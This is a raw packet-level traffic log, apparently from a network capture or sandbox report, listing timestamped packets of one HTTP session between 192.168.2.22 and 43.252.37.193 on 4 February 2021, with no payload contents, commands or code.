Feb 4, 2021 09:55:47.493129015 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:47.493172884 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:47.493211031 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:47.493220091 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:47.493252039 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:47.493262053 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:47.493268013 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:47.493271112 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:47.493308067 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:47.690217972 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:47.690282106 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:47.690330982 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:47.690371037 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:47.690535069 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:47.690577030 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:47.691220045 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:47.691286087 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:47.691293955 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:47.691298962 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:47.691304922 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:47.888386965 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:47.888449907 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:47.888498068 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:47.888540983 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:47.888577938 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:47.888616085 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:47.888664961 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:47.888715029 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:48.085695982 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:48.085782051 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:48.085853100 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:48.085894108 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:48.085931063 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:48.085968018 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:48.086004019 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:48.086080074 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:48.086087942 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:48.086092949 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:48.086097956 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:48.282783031 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:48.282814980 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:48.282922983 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:48.285461903 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:48.285486937 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:48.285502911 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:48.285552979 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:48.285598040 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:48.285604000 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:48.482518911 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:48.482589006 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:48.482630014 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:48.482670069 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:48.482706070 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:48.482743979 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:48.482858896 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:48.482924938 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:48.482933998 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:48.482939005 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:48.482943058 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:48.482948065 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:48.679971933 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:48.680027008 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:48.680066109 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:48.680206060 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:48.680253983 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:48.877091885 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:48.877118111 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:48.877130032 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:48.877144098 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:48.877370119 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:49.074207067 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:49.074249983 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:49.074297905 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:49.074299097 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:49.074330091 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:49.074342012 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:49.074348927 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:49.074388981 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:49.074403048 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:49.074428082 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:49.074436903 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:49.074491024 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:49.271783113 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:49.271821976 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:49.271837950 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:49.271858931 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:49.271878004 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:49.271897078 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:49.271922112 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:49.271966934 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:49.271969080 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:49.468688011 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:49.468739986 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:49.468760014 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:49.468775988 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:49.468794107 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:49.468808889 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:49.468811989 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:49.468842030 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:49.468843937 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:49.468874931 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:49.468875885 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:49.468909979 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:49.665659904 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:49.665709019 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:49.665721893 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:49.665734053 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:49.665745974 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:49.665757895 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:49.665920019 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:49.862641096 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:49.862670898 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:49.862684011 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:49.862701893 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:49.862719059 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:49.862735987 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:49.863184929 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:50.059974909 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:50.060019970 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:50.060055971 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:50.060058117 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:50.060095072 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:50.060098886 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:50.060105085 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:50.060133934 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:50.060146093 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:50.060184002 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:50.256989002 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:50.257049084 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:50.257086992 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:50.257126093 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:50.257163048 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:50.257201910 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:50.257244110 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:50.257307053 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:50.257314920 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:50.257319927 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:50.257324934 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:50.257328987 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:50.454431057 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:50.454459906 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:50.454480886 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:50.454500914 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:50.454497099 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:50.454543114 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:50.454546928 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:50.454550028 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:50.651232004 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:50.651249886 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:50.651262045 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:50.651273966 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:50.651392937 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:50.848301888 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:50.848332882 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:50.848345995 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:50.848356962 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:50.848368883 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:50.848381996 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:50.848542929 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:51.045416117 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:51.045444965 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:51.045461893 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:51.045479059 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:51.045497894 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:51.045515060 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:51.045567989 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:51.047322035 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:51.247131109 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:51.247158051 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:51.247299910 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:51.247462988 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:51.247533083 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:51.247648001 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:51.247673035 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:51.247697115 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:51.247701883 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:51.247720003 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:51.247721910 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:51.247736931 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:51.247756004 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:51.333885908 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:51.444077015 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:51.444104910 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:51.444175005 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:51.444191933 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:51.444204092 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:51.444263935 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:51.444272041 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:51.444305897 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:51.444346905 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:51.530944109 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:51.531163931 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:51.641036987 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:51.641071081 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:51.641088963 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:51.641112089 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:51.641139030 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:51.641297102 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:51.641356945 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:51.838112116 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:51.838176012 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:51.838260889 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:51.838294029 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:51.838311911 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:51.838339090 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:51.838376999 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:51.838402987 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:51.838424921 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:51.838464022 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:51.838506937 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:51.838522911 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:51.838552952 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:51.838635921 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:52.035511971 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:52.035551071 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:52.035574913 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:52.035594940 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:52.035626888 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:52.035769939 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:52.035840988 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:52.035847902 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:52.035851955 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:52.233510971 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:52.233587027 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:52.233618021 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:52.233664036 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:52.233702898 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:52.233827114 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:52.233896971 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:52.432041883 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:52.432071924 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:52.432096004 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:52.432116985 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:52.432143927 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:52.432167053 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:52.432164907 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:52.432228088 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:52.432235003 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:52.432240009 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:52.432245016 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:52.432249069 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:52.629304886 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:52.629364014 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:52.629441023 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:52.629482031 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:52.629520893 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:52.629545927 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:52.629561901 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:52.629595041 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:52.629602909 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:52.629607916 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:52.629626989 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:52.826491117 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:52.826550961 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:52.826592922 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:52.826623917 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:52.826653004 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:52.826683044 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:52.826711893 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:52.826781034 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:52.827020884 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:53.023658991 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:53.023694038 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:53.023718119 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:53.023740053 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:53.023756027 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:53.023762941 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:53.023782969 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:53.023802042 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:53.023806095 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:53.023808956 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:53.023813963 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:53.023818970 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:53.023832083 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:53.023849964 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:53.023876905 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:53.220446110 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:53.220510006 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:53.220565081 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:53.220618963 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:53.220683098 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:53.220740080 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:53.220781088 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:53.220798016 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:53.220838070 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:53.220844984 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:53.220849991 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:53.220881939 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:53.417815924 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:53.417908907 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:53.417932987 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:53.417948961 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:53.417972088 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:53.418044090 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:53.418081999 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:53.418087006 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:53.418088913 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:53.418092012 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:53.614917040 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:53.614962101 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:53.614984035 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:53.615009069 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:53.615026951 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:53.615118027 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:53.615170956 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:53.615175962 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:53.615180016 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:53.615324020 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:53.616388083 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:53.812041044 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:53.812091112 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:53.812179089 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:53.812218904 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:53.812263966 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:53.812303066 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:53.812314987 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:53.812344074 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:53.812350988 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:53.812388897 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:54.009126902 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:54.009159088 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:54.009171009 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:54.009183884 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:54.009227991 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:54.009239912 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:54.009380102 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:54.009475946 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:54.206413031 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:54.206442118 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:54.206455946 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:54.206469059 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:54.206490040 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:54.206506968 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:54.206537962 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:54.206578970 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:54.403383970 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:54.403412104 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:54.403429031 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:54.403445005 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:54.403465033 CET	80	49165	43.252.37.193	192.168.2.22
